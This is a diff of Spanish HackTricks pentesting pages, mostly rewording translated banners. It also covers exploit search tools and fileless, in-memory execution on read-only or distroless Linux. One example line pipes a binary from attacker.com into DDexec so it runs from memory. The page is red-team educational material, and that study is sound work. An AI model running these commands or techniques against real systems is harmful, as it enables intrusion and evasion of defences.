<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\
|
||||
|
@ -28,9 +28,9 @@ Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_mediu
|
|||
* [**Deserializaciones en Python**](../../pentesting-web/deserialization/#python)
|
||||
* [**Trucos para evadir las cajas de arena de Python**](bypass-python-sandboxes/)
|
||||
* [**Sintaxis básica de solicitudes web en Python**](web-requests.md)
|
||||
* [**Sintaxis básica y bibliotecas de Python**](basic-python.md)
|
||||
* [**Sintaxis básica de Python y bibliotecas**](basic-python.md)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\
|
||||
|
@ -40,14 +40,14 @@ Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_mediu
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,23 +2,23 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\
|
||||
Accede hoy mismo:
|
||||
¡Accede hoy mismo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
```bash
|
||||
|
@ -39,24 +39,24 @@ is fixed running
|
|||
pip3 install wheel
|
||||
inside the virtual environment
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\
|
||||
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
|
||||
Obtenga acceso hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si desea ver su **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Si desea ver su **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenga el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubra [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únase al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síganos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparta sus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparta sus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,19 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\
|
||||
|
@ -117,17 +117,17 @@ return 1
|
|||
term = Terminal()
|
||||
term.cmdloop()
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
|
||||
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\
|
||||
Obtenga acceso hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
|
@ -135,6 +135,6 @@ Otras formas de apoyar a HackTricks:
|
|||
* Obtenga el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únase al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síganos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparta sus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparta sus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,23 +2,23 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**artículos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
|
||||
Obtén acceso hoy:
|
||||
¡Accede hoy mismo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -26,7 +26,7 @@ Obtén acceso hoy:
|
|||
|
||||
Siempre busca en "google" u otros: **\<nombre\_del\_servicio> \[versión\] exploit**
|
||||
|
||||
También puedes probar la búsqueda de exploits de **shodan** en [https://exploits.shodan.io/](https://exploits.shodan.io).
|
||||
También puedes probar la búsqueda de **exploits de shodan** en [https://exploits.shodan.io/](https://exploits.shodan.io).
|
||||
|
||||
### Searchsploit
|
||||
|
||||
|
@ -58,9 +58,9 @@ También puedes buscar en la base de datos de vulners: [https://vulners.com/](ht
|
|||
|
||||
### Sploitus
|
||||
|
||||
Esta búsqueda de exploits en otras bases de datos: [https://sploitus.com/](https://sploitus.com)
|
||||
Esto busca exploits en otras bases de datos: [https://sploitus.com/](https://sploitus.com)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
|
||||
|
@ -75,7 +75,7 @@ Obtén acceso hoy:
|
|||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -14,7 +14,7 @@ Otras formas de apoyar a HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando!** (_se requiere dominio del polaco escrito y hablado_).
|
||||
|
||||
|
@ -24,7 +24,7 @@ Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**
|
|||
|
||||
En los siguientes videos puedes encontrar las técnicas mencionadas en esta página explicadas más a fondo:
|
||||
|
||||
* [**DEF CON 31 - Explorando la Manipulación de Memoria en Linux para Sigilo y Evasión**](https://www.youtube.com/watch?v=poHirez8jk4)
|
||||
* [**DEF CON 31 - Explorando la Manipulación de Memoria de Linux para Sigilo y Evasión**](https://www.youtube.com/watch?v=poHirez8jk4)
|
||||
* [**Intrusiones sigilosas con DDexec-ng e in-memory dlopen() - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
|
||||
|
||||
## Escenario de solo lectura / sin ejecución
|
||||
|
@ -52,7 +52,7 @@ Desde la perspectiva de un equipo rojo, esto hace que sea **complicado descargar
|
|||
|
||||
## Salto más fácil: Scripts
|
||||
|
||||
Ten en cuenta que mencioné binarios, puedes **ejecutar cualquier script** siempre que el intérprete esté dentro de la máquina, como un **script de shell** si `sh` está presente o un **script de Python** si `python` está instalado.
|
||||
Ten en cuenta que mencioné binarios, puedes **ejecutar cualquier script** siempre que el intérprete esté dentro de la máquina, como un **script de shell** si `sh` está presente o un **script de python** si `python` está instalado.
|
||||
|
||||
Sin embargo, esto no es suficiente para ejecutar tu puerta trasera binaria u otras herramientas binarias que puedas necesitar ejecutar.
|
||||
|
||||
|
@ -60,14 +60,14 @@ Sin embargo, esto no es suficiente para ejecutar tu puerta trasera binaria u otr
|
|||
|
||||
Si deseas ejecutar un binario pero el sistema de archivos no lo permite, la mejor manera de hacerlo es **ejecutándolo desde la memoria**, ya que las **protecciones no se aplican allí**.
|
||||
|
||||
### Salto de llamada de sistema FD + exec
|
||||
### Salto de llamada al sistema FD + exec
|
||||
|
||||
Si tienes motores de script potentes dentro de la máquina, como **Python**, **Perl** o **Ruby**, podrías descargar el binario para ejecutarlo desde la memoria, almacenarlo en un descriptor de archivo de memoria (`create_memfd` syscall), que no estará protegido por esas protecciones, y luego llamar a una **llamada de sistema `exec`** indicando el **fd como el archivo a ejecutar**.
|
||||
Si tienes motores de script potentes dentro de la máquina, como **Python**, **Perl** o **Ruby**, podrías descargar el binario para ejecutarlo desde la memoria, almacenarlo en un descriptor de archivo de memoria (`create_memfd` syscall), que no estará protegido por esas protecciones, y luego llamar a una **llamada al sistema `exec`** indicando el **fd como el archivo a ejecutar**.
|
||||
|
||||
Para esto, puedes usar fácilmente el proyecto [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Puedes pasarle un binario y generará un script en el lenguaje indicado con el **binario comprimido y codificado en b64** con las instrucciones para **decodificarlo y descomprimirlo** en un **fd** creado llamando a la llamada de sistema `create_memfd` y una llamada a la **llamada de sistema exec** para ejecutarlo.
|
||||
Para esto, puedes usar fácilmente el proyecto [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Puedes pasarle un binario y generará un script en el lenguaje indicado con el **binario comprimido y codificado en b64** con las instrucciones para **decodificarlo y descomprimirlo** en un **fd** creado llamando a la llamada al sistema `create_memfd` y una llamada a la **llamada al sistema exec** para ejecutarlo.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Esto no funciona en otros lenguajes de script como PHP o Node porque no tienen ninguna forma **predeterminada de llamar a llamadas de sistema en bruto** desde un script, por lo que no es posible llamar a `create_memfd` para crear el **fd de memoria** para almacenar el binario.
|
||||
Esto no funciona en otros lenguajes de script como PHP o Node porque no tienen ninguna forma **predeterminada de llamar a llamadas al sistema en bruto** desde un script, por lo que no es posible llamar a `create_memfd` para crear el **fd de memoria** para almacenar el binario.
|
||||
|
||||
Además, crear un **fd regular** con un archivo en `/dev/shm` no funcionará, ya que no se te permitirá ejecutarlo debido a que se aplicará la **protección sin ejecución**.
|
||||
{% endhint %}
|
||||
|
@ -85,15 +85,21 @@ Por lo tanto, **controlando el código de ensamblaje** que está siendo ejecutad
|
|||
# Basic example
|
||||
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar
|
||||
```
|
||||
Para obtener más información sobre esta técnica, consulta el Github o:
|
||||
|
||||
{% content-ref url="ddexec.md" %}
|
||||
[ddexec.md](ddexec.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### MemExec
|
||||
|
||||
[**Memexec**](https://github.com/arget13/memexec) es el siguiente paso natural de DDexec. Es un **shellcode demonizado de DDexec**, por lo que cada vez que desees **ejecutar un binario diferente** no necesitas volver a lanzar DDexec, simplemente puedes ejecutar el shellcode de memexec a través de la técnica DDexec y luego **comunicarte con este demonio para pasar nuevos binarios para cargar y ejecutar**.
|
||||
[**Memexec**](https://github.com/arget13/memexec) es el siguiente paso natural de DDexec. Es un **código shell de DDexec demonizado**, por lo que cada vez que desees **ejecutar un binario diferente** no necesitas volver a lanzar DDexec, simplemente puedes ejecutar el código shell de memexec a través de la técnica DDexec y luego **comunicarte con este demonio para pasar nuevos binarios para cargar y ejecutar**.
|
||||
|
||||
Puedes encontrar un ejemplo de cómo usar **memexec para ejecutar binarios desde un shell inverso de PHP** en [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
|
||||
|
||||
### Memdlopen
|
||||
|
||||
Con un propósito similar a DDexec, la técnica de [**memdlopen**](https://github.com/arget13/memdlopen) permite una **forma más fácil de cargar binarios** en memoria para luego ejecutarlos. Incluso podría permitir cargar binarios con dependencias.
|
||||
Con un propósito similar a DDexec, la técnica [**memdlopen**](https://github.com/arget13/memdlopen) permite una **forma más fácil de cargar binarios** en memoria para luego ejecutarlos. Incluso podría permitir cargar binarios con dependencias.
|
||||
|
||||
## Bypass de Distroless
|
||||
|
||||
|
@ -111,13 +117,13 @@ En un contenedor distroless es posible que **ni siquiera encuentres `sh` o `bash
|
|||
Por lo tanto, **no** podrás obtener un **shell inverso** o **enumerar** el sistema como sueles hacerlo.
|
||||
{% endhint %}
|
||||
|
||||
Sin embargo, si el contenedor comprometido está ejecutando, por ejemplo, una aplicación web flask, entonces Python está instalado y, por lo tanto, puedes obtener un **shell inverso de Python**. Si está ejecutando node, puedes obtener un shell inverso de Node, y lo mismo con la mayoría de los **lenguajes de script**.
|
||||
Sin embargo, si el contenedor comprometido está ejecutando, por ejemplo, un servidor web flask, entonces Python está instalado y, por lo tanto, puedes obtener un **shell inverso de Python**. Si está ejecutando node, puedes obtener un shell inverso de Node, y lo mismo con la mayoría de los **lenguajes de script**.
|
||||
|
||||
{% hint style="success" %}
|
||||
Usando el lenguaje de script podrías **enumerar el sistema** utilizando las capacidades del lenguaje.
|
||||
{% endhint %}
|
||||
|
||||
Si no hay protecciones de **`solo lectura/sin ejecución`** puedes abusar de tu shell inverso para **escribir en el sistema de archivos tus binarios** y **ejecutarlos**.
|
||||
Si no hay protecciones de **`solo lectura/sin ejecución`** podrías abusar de tu shell inverso para **escribir en el sistema de archivos tus binarios** y **ejecutarlos**.
|
||||
|
||||
{% hint style="success" %}
|
||||
Sin embargo, en este tipo de contenedores estas protecciones generalmente existirán, pero podrías usar las **técnicas de ejecución en memoria anteriores para evadirlas**.
|
||||
|
@ -125,7 +131,7 @@ Sin embargo, en este tipo de contenedores estas protecciones generalmente existi
|
|||
|
||||
Puedes encontrar **ejemplos** de cómo **explotar algunas vulnerabilidades de RCE** para obtener **shells inversos de lenguajes de script** y ejecutar binarios desde la memoria en [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si estás interesado en una **carrera de hacking** y hackear lo imposible - **¡estamos contratando!** (_se requiere dominio del polaco escrito y hablado_).
|
||||
|
||||
|
|
|
@ -2,29 +2,29 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
